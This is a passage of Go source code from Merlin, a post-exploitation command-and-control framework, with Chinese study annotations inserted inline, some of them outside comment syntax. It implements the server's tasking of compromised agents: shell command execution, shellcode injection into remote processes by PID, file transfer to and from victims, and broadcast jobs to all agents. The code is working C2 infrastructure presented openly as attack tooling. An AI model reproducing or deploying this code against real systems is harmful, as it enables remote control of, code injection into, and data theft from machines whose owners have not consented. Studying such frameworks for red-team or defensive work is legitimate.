job.Type = merlinJob.NATIVE
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
case "shell": cmd命令,发送cmd payload
job.Type = merlinJob.CMD
payload := merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
job.Payload = payload
case "shellcode": 发送shellcode payload
job.Type = merlinJob.SHELLCODE
payload := merlinJob.Shellcode{
Method: jobArgs\[0\],
}
if payload.Method == "self" {
payload.Bytes = jobArgs\[1\]
} else if payload.Method == "remote" || payload.Method == "rtlcreateuserthread" || payload.Method == "userapc" {
i, err := strconv.Atoi(jobArgs\[1\])
if err != nil {
return "", err
}
payload.PID = uint32(i)
payload.Bytes = jobArgs\[2\]
}
job.Payload = payload
case "skew": 偏斜??
job.Type = merlinJob.CONTROL
p := merlinJob.Command{
Command: jobArgs\[0\],
}
if len(jobArgs) == 2 {
p.Args = jobArgs\[1:\]
}
job.Payload = p
case "sleep":
job.Type = merlinJob.CONTROL
p := merlinJob.Command{
Command: jobArgs\[0\],
}
if len(jobArgs) == 2 {
p.Args = jobArgs\[1:\]
}
job.Payload = p
case "ssh":
job.Type = merlinJob.MODULE
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
case "token": token令牌命令在moudle中
job.Type = merlinJob.MODULE
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
case "touch":
job.Type = merlinJob.NATIVE
job.Payload = merlinJob.Command{
Command: jobType,
Args: jobArgs,
}
case "upload":
job.Type = merlinJob.FILETRANSFER
if len(jobArgs) < 2 {
return "", fmt.Errorf("expected 2 arguments for upload command, received %d", len(jobArgs))
}
uploadFile, uploadFileErr := ioutil.ReadFile(jobArgs\[0\])
if uploadFileErr != nil {
// TODO send "ServerOK"
return "", fmt.Errorf("there was an error reading %s: %v", merlinJob.String(job.Type), uploadFileErr)
}
fileHash := sha256.New()
\_, err := io.WriteString(fileHash, string(uploadFile))
if err != nil {
message("warn", fmt.Sprintf("There was an error generating file hash:\\r\\n%s", err.Error()))
}
if ok {
agent.Log(fmt.Sprintf("Uploading file from server at %s of size %d bytes and SHA-256: %x to agent at %s",
jobArgs\[0\],
len(uploadFile),
fileHash.Sum(nil),
jobArgs\[1\]))
}
p := merlinJob.FileTransfer{
FileLocation: jobArgs\[1\],
FileBlob: base64.StdEncoding.EncodeToString(\[\]byte(uploadFile)),
IsDownload: true,
}
job.Payload = p
case "uptime": 更新时间
job.Type = merlinJob.MODULE
p := merlinJob.Command{
Command: "uptime",
}
job.Payload = p
default:
return "", fmt.Errorf("invalid job type: %d", job.Type)
}
// If the Agent is set to broadcast identifier for ALL agents
if agentID.String() == "ffffffff-ffff-ffff-ffff-ffffffffffff" { 如果agent设置为所有agent的广播标识符
if len(agents.Agents) <= 0 {
return "", fmt.Errorf("there are 0 available agents, no jobs were created")
}
for a := range agents.Agents {
// Fill out remaining job fields
token := uuid.NewV4() 生成token
job.ID = core.RandStringBytesMaskImprSrc(10) 生成10位随机字符id
job.Token = token
job.AgentID = a
// Add job to the channel
\_, k := JobsChannel\[agentID\]
if !k {
JobsChannel\[agentID\] = make(chan merlinJob.Job, 100) 为每个agent分配100个job空间
}
JobsChannel\[a\] <- job
//agents.Agents\[a\].JobChannel <- job
// Add job to the list
Jobs\[job.ID\] = info{ 填充job信息
AgentID: a,
Token: token,
Type: merlinJob.String(job.Type),
Status: merlinJob.CREATED,
Created: time.Now().UTC(),
Command: jobType + " " + strings.Join(jobArgs, " "),
}
// Log the job
if ok {
agent.Log(fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s",
messages.String(job.Type),
job.ID,
"Created",
jobArgs))
}
}
} else {
// A single Agent
token := uuid.NewV4()
job.Token = token
job.ID = core.RandStringBytesMaskImprSrc(10)
job.AgentID = agentID
// Add job to the channel
\_, k := JobsChannel\[agentID\]
if !k {
JobsChannel\[agentID\] = make(chan merlinJob.Job, 100)
}
JobsChannel\[agentID\] <- job
// Add job to the list
Jobs\[job.ID\] = info{
AgentID: agentID,
Token: token,
Type: merlinJob.String(job.Type),
Status: merlinJob.CREATED,
Created: time.Now().UTC(),
Command: jobType + " " + strings.Join(jobArgs, " "),
}
// Log the job
if ok {
agent.Log(fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s",
messages.String(job.Type),
job.ID,
"Created",
jobArgs))
}
}
return job.ID, nil
}
// Clear removes any jobs the queue that have been created, but NOT sent to the agent
清除删除队列中已创建但未发送到agent的所有job
func Clear(agentID uuid.UUID) error {
if core.Debug {
message("debug", "Entering into jobs.Clear() function...")
}
//\_, ok := agents.Agents\[agentID\]
//if !ok {
// return fmt.Errorf("%s is not a valid agent", agentID)
//}
// Empty the job channel
jobChannel, k := JobsChannel\[agentID\]
if !k {
// There was not a jobs channel for this agent
return nil
}
jobLength := len(jobChannel)
if jobLength > 0 {
for i := 0; i < jobLength; i++ {
job := <-jobChannel 循环遍历取出job设置status为cancel
// Update Job Info structure
j, ok := Jobs\[job.ID\]
if ok {
j.Status = merlinJob.CANCELED
Jobs\[job.ID\] = j
} else {
return fmt.Errorf("invalid job %s for agent %s", job.ID, agentID)
}
if core.Debug {
message("debug", fmt.Sprintf("Channel command string: %+v", job))
message("debug", fmt.Sprintf("Job type: %s", messages.String(job.Type)))
}
}
}
return nil
}
// ClearCreated removes all unsent jobs across all agents 删除所有agent 所有未发送的job
func ClearCreated() error {
if core.Debug {
message("debug", "Entering into jobs.Clear() function...")
}
for id := range JobsChannel {
err := Clear(id)
if err != nil {
return err
}
}
return nil
}
// Get returns a list of jobs that need to be sent to the agent返回需要发送给agent的job列表 根据agent uuid取出对应的job channel中的所有job设置type为sent
func Get(agentID uuid.UUID) (\[\]merlinJob.Job, error) {
if core.Debug {
message("debug", "Entering into jobs.Get() function...")
}
var jobs \[\]merlinJob.Job
\_, ok := agents.Agents\[agentID\]
if !ok {
return jobs, fmt.Errorf("%s is not a valid agent", agentID)
}
jobChannel, k := JobsChannel\[agentID\]
if !k {
// There was not a jobs channel for this agent
return jobs, nil
}
// Check to see if there are any jobs
jobLength := len(jobChannel)
if jobLength > 0 {
for i := 0; i < jobLength; i++ {
job := <-jobChannel
jobs = append(jobs, job)
// Update Job Info map
j, ok := Jobs\[job.ID\]
if ok {
j.Status = merlinJob.SENT
j.Sent = time.Now().UTC()
Jobs\[job.ID\] = j
} else {
return jobs, fmt.Errorf("invalid job %s for agent %s", job.ID, agentID)
}
if core.Debug {
message("debug", fmt.Sprintf("Channel command string: %+v", job))
message("debug", fmt.Sprintf("Job type: %s", merlinJob.String(job.Type)))
}
}
}
if core.Debug {
message("debug", fmt.Sprintf("Returning jobs:\\r\\n%+v", jobs))
}
return jobs, nil
}
// Handler evaluates a message sent in by the agent and the subsequently executes any corresponding tasks
评估agent发送的消息,然后执行任何相应的任务
func Handler(m messages.Base) (messages.Base, error) {
if core.Debug {
message("debug", "Entering into jobs.Handle() function...")
message("debug", fmt.Sprintf("Input message: %+v", m))
}
returnMessage := messages.Base{
ID: m.ID,
Version: 1.0,
}
if m.Type != messages.JOBS { message类型为jobs
return returnMessage, fmt.Errorf("invalid message type: %s for job handler", messages.String(m.Type))
}
jobs := m.Payload.(\[\]merlinJob.Job) 拆解message中payload字段为jobs
a, ok := agents.Agents\[m.ID\] 获取agent uuid
if !ok {
return returnMessage, fmt.Errorf("%s is not a valid agent", m.ID)
}
a.StatusCheckIn = time.Now().UTC()
returnMessage.Padding = core.RandStringBytesMaskImprSrc(a.PaddingMax)
var returnJobs \[\]merlinJob.Job
for \_, job := range jobs {
// Check to make sure agent UUID is in dataset
agent, ok := agents.Agents\[job.AgentID\]
if ok {
// Verify that the job contains the correct token and that it was not already completed
err := checkJob(job)
if err != nil {
// Agent will send back error messages that are not the result of a job
if job.Type != merlinJob.RESULT {
return returnMessage, err
}
if core.Debug {
message("debug", fmt.Sprintf("Received %s message without job token.\\r\\n%s", messages.String(job.Type), err))
}
}
switch job.Type {
case merlinJob.RESULT:
agent.Log(fmt.Sprintf("Results for job: %s", job.ID))
userMessage := messageAPI.UserMessage{
Level: messageAPI.Note,
Time: time.Now().UTC(),
Message: fmt.Sprintf("Results job %s for agent %s at %s", job.ID, job.AgentID, time.Now().UTC().Format(time.RFC3339)),
}
messageAPI.SendBroadcastMessage(userMessage)
result := job.Payload.(merlinJob.Results)广播格式化job信息要输出
if len(result.Stdout) > 0 {
agent.Log(fmt.Sprintf("Command Results (stdout):\\r\\n%s", result.Stdout))
userMessage := messageAPI.UserMessage{
Level: messageAPI.Success,
Time: time.Now().UTC(),
Message: result.Stdout,
}
messageAPI.SendBroadcastMessage(userMessage)广播job command结果
}
if len(result.Stderr) > 0 {
agent.Log(fmt.Sprintf("Command Results (stderr):\\r\\n%s", result.Stderr))
userMessage := messageAPI.UserMessage{
Level: messageAPI.Warn,
Time: time.Now().UTC(),
Message: result.Stderr,
}
messageAPI.SendBroadcastMessage(userMessage) 广播命令错误信息
}
case merlinJob.AGENTINFO:
agent.UpdateInfo(job.Payload.(messages.AgentInfo))
case merlinJob.FILETRANSFER: 传输文件
err := fileTransfer(job.AgentID, job.Payload.(merlinJob.FileTransfer))
if err != nil {
return returnMessage, err
}
}
// Update Jobs Info structure
j, k := Jobs\[job.ID\]
if k {
j.Status = merlinJob.COMPLETE
j.Completed = time.Now().UTC()
Jobs\[job.ID\] = j
}
} else {
userMessage := messageAPI.UserMessage{
Level: messageAPI.Warn,
Time: time.Now().UTC(),
Message: fmt.Sprintf("Job %s was for an invalid agent %s", job.ID, job.AgentID),
}
messageAPI.SendBroadcastMessage(userMessage)
}
}
// See if there are any new jobs to send back 完成job后查看是否有新job要执行
agentJobs, err := Get(m.ID)
if err != nil {
return returnMessage, err
}
returnJobs = append(returnJobs, agentJobs...)
if len(returnJobs) > 0 {
returnMessage.Type = messages.JOBS
returnMessage.Payload = returnJobs
} else {
returnMessage.Type = messages.IDLE
}
if core.Debug {
message("debug", fmt.Sprintf("Message that will be returned to the Agent:\\r\\n%+v", returnMessage))
message("debug", "Leaving jobs.Handle() function...")
}
return returnMessage, nil
}
// Idle handles input idle messages from the agent and checks to see if there are any jobs to return
输入agent的 idle信息并查看是否有job去返回(返回对应uuid的job)
func Idle(agentID uuid.UUID) (messages.Base, error) {
returnMessage := messages.Base{
ID: agentID,
Version: 1.0,
}
agent, ok := agents.Agents\[agentID\]
if !ok {
return returnMessage, fmt.Errorf("%s is not a valid agent", agentID)
}
if core.Verbose || core.Debug {
message("success", fmt.Sprintf("Received agent status checkin from %s", agentID))
}
agent.StatusCheckIn = time.Now().UTC()
returnMessage.Padding = core.RandStringBytesMaskImprSrc(agent.PaddingMax)
// See if there are any new jobs to send back
jobs, err := Get(agentID)
if err != nil {
return returnMessage, err
}
if len(jobs) > 0 {
returnMessage.Type = messages.JOBS
returnMessage.Payload = jobs
} else {
returnMessage.Type = messages.IDLE
}
return returnMessage, nil
}
// GetTableActive returns a list of rows that contain information about active jobs
返回包含有关active作业信息的行列表
func GetTableActive(agentID uuid.UUID) (\[\]\[\]string, error) {
if core.Debug {
message("debug", fmt.Sprintf("entering into jobs.GetTableActive for agent %s", agentID.String()))
}
var jobs \[\]\[\]string
\_, ok := agents.Agents\[agentID\]
if !ok {
return jobs, fmt.Errorf("%s is not a valid agent", agentID)
}
for id, job := range Jobs {
if job.AgentID == agentID {
//message("debug", fmt.Sprintf("GetTableActive(%s) ID: %s, Job: %+v", agentID.String(), id, job))
var status string
switch job.Status {
case merlinJob.CREATED:
status = "Created"
case merlinJob.SENT:
status = "Sent"
case merlinJob.RETURNED:
status = "Returned"
default:
status = fmt.Sprintf("Unknown job status: %d", job.Status)
}
var zeroTime time.Time
// Don't add completed or canceled jobs
if job.Status != merlinJob.COMPLETE && job.Status != merlinJob.CANCELED {
var sent string
if job.Sent != zeroTime {
sent = job.Sent.Format(time.RFC3339)
}
// <JobID>, <Command>, <JobStatus>, <Created>, <Sent>
jobs = append(jobs, \[\]string{
id,
job.Command,
status,
job.Created.Format(time.RFC3339),
sent,
})
}
}
}
return jobs, nil
}
// GetTableAll returns all unsent jobs to be displayed as a table 展示所有未发送的job
func GetTableAll() \[\]\[\]string {
var jobs \[\]\[\]string
for id, job := range Jobs {
var status string
switch job.Status {
case merlinJob.CREATED:
status = "Created"
case merlinJob.SENT:
status = "Sent"
case merlinJob.RETURNED:
status = "Returned"
default:
status = fmt.Sprintf("Unknown job status: %d", job.Status)
}
if job.Status != merlinJob.COMPLETE && job.Status != merlinJob.CANCELED {
var zeroTime time.Time
var sent string
if job.Sent != zeroTime {
sent = job.Sent.Format(time.RFC3339)
}
jobs = append(jobs, \[\]string{
job.AgentID.String(),
id,
job.Command,
status,
job.Created.Format(time.RFC3339),
sent,
})
}
}
return jobs
}
// checkJob verifies that the input job message contains the expected token and was not already completed
验证输入的作业消息是否包含预期的token并且尚未完成
func checkJob(job merlinJob.Job) error {
// Check to make sure agent UUID is in dataset
\_, ok := agents.Agents\[job.AgentID\]
if !ok {
return fmt.Errorf("job %s was for an invalid agent %s", job.ID, job.AgentID)
}
j, k := Jobs\[job.ID\]
if !k {
return fmt.Errorf("job %s was not found for agent %s", job.ID, job.AgentID)
}
if job.Token != j.Token { 验证token
return fmt.Errorf("job %s for agent %s did not contain the correct token.\\r\\nExpected: %s, Got: %s", job.ID, job.AgentID, j.Token, job.Token)
}
if j.Status == merlinJob.COMPLETE { 验证job是否完成
return fmt.Errorf("job %s for agent %s was previously completed on %s", job.ID, job.AgentID, j.Completed.UTC().Format(time.RFC3339))
}
if j.Status == merlinJob.CANCELED { 验证job是否取消
return fmt.Errorf("job %s for agent %s was previously canceled on", job.ID, job.AgentID)
}
return nil
}
// fileTransfer handles file upload/download operations
func fileTransfer(agentID uuid.UUID, p merlinJob.FileTransfer) error {
if core.Debug {
message("debug", "Entering into agents.FileTransfer")
}
// Check to make sure it is a known agent
agent, ok := agents.Agents\[agentID\]
if !ok {
return fmt.Errorf("%s is not a valid agent", agentID)
}
if p.IsDownload {
agentsDir := filepath.Join(core.CurrentDir, "data", "agents")
\_, f := filepath.Split(p.FileLocation) // We don't need the directory part for anything
if \_, errD := os.Stat(agentsDir); os.IsNotExist(errD) {
errorMessage := fmt.Errorf("there was an error locating the agent's directory:\\r\\n%s", errD.Error())
agent.Log(errorMessage.Error())
return errorMessage
}
message("success", fmt.Sprintf("Results for %s at %s", agentID, time.Now().UTC().Format(time.RFC3339)))
downloadBlob, downloadBlobErr := base64.StdEncoding.DecodeString(p.FileBlob) base64解码下载的内容
if downloadBlobErr != nil {
errorMessage := fmt.Errorf("there was an error decoding the fileBlob:\\r\\n%s", downloadBlobErr.Error())
agent.Log(errorMessage.Error())
return errorMessage
}
downloadFile := filepath.Join(agentsDir, agentID.String(), f)在agent id 对应的文件夹下存储下载的文件
writingErr := ioutil.WriteFile(downloadFile, downloadBlob, 0600)
if writingErr != nil {
errorMessage := fmt.Errorf("there was an error writing to -> %s:\\r\\n%s", p.FileLocation, writingErr.Error())
agent.Log(errorMessage.Error())
return errorMessage
}
successMessage := fmt.Sprintf("Successfully downloaded file %s with a size of %d bytes from agent %s to %s",
p.FileLocation,
len(downloadBlob),
agentID.String(),
downloadFile)
message("success", successMessage)
agent.Log(successMessage)
}
if core.Debug {
message("debug", "Leaving agents.FileTransfer")
}
return nil
}
// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLI
用于将发送消息发送到服务器正在运行的 STDOUT,而不打算发送到 CLI
func message(level string, message string) {
switch level {
case "info":
color.Cyan("\[i\]" + message)
case "note":
color.Yellow("\[-\]" + message)
case "warn":
color.Red("\[!\]" + message)
case "debug":
color.Red("\[DEBUG\]" + message)
case "success":
color.Green("\[+\]" + message)
default:
color.Red("\[\_-\_\]Invalid message level: " + message)
}
}
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2021 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package jobs
// TODO Does it makes sense to move this under pkg/agents/jobs?
import (
// Standard
"encoding/gob"
"fmt"
// 3rd Party
uuid "github.com/satori/go.uuid"
)
// init registers message types with gob that are an interface for Base.Payload
func init() {
gob.Register(\[\]Job{})
gob.Register(Command{})
gob.Register(Shellcode{})
gob.Register(FileTransfer{})
gob.Register(Results{})
}
const (
// CREATED is used to denote that job has been created
CREATED \= 1
// SENT is used to denote that the job has been sent to the Agent
SENT \= 2
// RETURNED is for when a chunk has been returned but the job hasn't finished running
RETURNED \= 3
// COMPLETE is used to denote that the job has finished running and the Agent has sent back the results
COMPLETE \= 4
// CANCELED is used to denoted jobs that were cancelled with the "clear" command
CANCELED \= 5
// To Agent
// CMD is used to send CmdPayload messages
CMD \= 10 // CmdPayload
// CONTROL is used to send AgentControl messages
CONTROL \= 11 // AgentControl
// SHELLCODE is used to send shellcode messages
SHELLCODE \= 12 // Shellcode
// NATIVE is used to send NativeCmd messages
NATIVE \= 13 // NativeCmd
// FILETRANSFER is used to send FileTransfer messages for upload/download operations
FILETRANSFER \= 14 // FileTransfer
// OK is used to signify that there is nothing to do, or to idle
OK \= 15 // ServerOK
// MODULE is used to send Module messages
MODULE \= 16 // Module
// From Agent
// RESULT is used by the Agent to return a result message
RESULT \= 20
// AGENTINFO is used by the Agent to return information about its configuration
AGENTINFO \= 21
)
// Job is used to task an agent to run a command
type Job struct {
AgentID uuid.UUID // ID of the agent the job belong to
ID string // Unique identifier for each job
Token uuid.UUID // A unique token for each task that acts like a CSRF token to prevent multiple job messages
Type int // The type of job it is (e.g., FileTransfer
Payload interface{} // Embedded messages of various types
}
// Command is the structure to send a task for the agent to execute
type Command struct {
Command string \`json:"command"\`
Args \[\]string \`json:"args"\`
}
// Shellcode is a JSON payload containing shellcode and the method for execution
type Shellcode struct {
Method string \`json:"method"\`
Bytes string \`json:"bytes"\` // Base64 string of shellcode bytes
PID uint32 \`json:"pid,omitempty"\` // Process ID for remote injection
}
// FileTransfer is the JSON payload to transfer files between the server and agent
type FileTransfer struct {
FileLocation string \`json:"dest"\`
FileBlob string \`json:"blob"\`
IsDownload bool \`json:"download"\`
}
// Results is a JSON payload that contains the results of an executed command from an agent
type Results struct {
Stdout string \`json:"stdout"\`
Stderr string \`json:"stderr"\`
}
// String returns the text representation of a message constant
func String(jobType int) string {
switch jobType {
case CMD:
return "Command"
case CONTROL:
return "AgentControl"
case SHELLCODE:
return "Shellcode"
case NATIVE:
return "Native"
case FILETRANSFER:
return "FileTransfer"
case OK:
return "ServerOK"
case MODULE:
return "Module"
case RESULT:
return "Result"
case AGENTINFO:
return "AgentInfo"
default:
return fmt.Sprintf("Invalid job type: %d", jobType)
}
}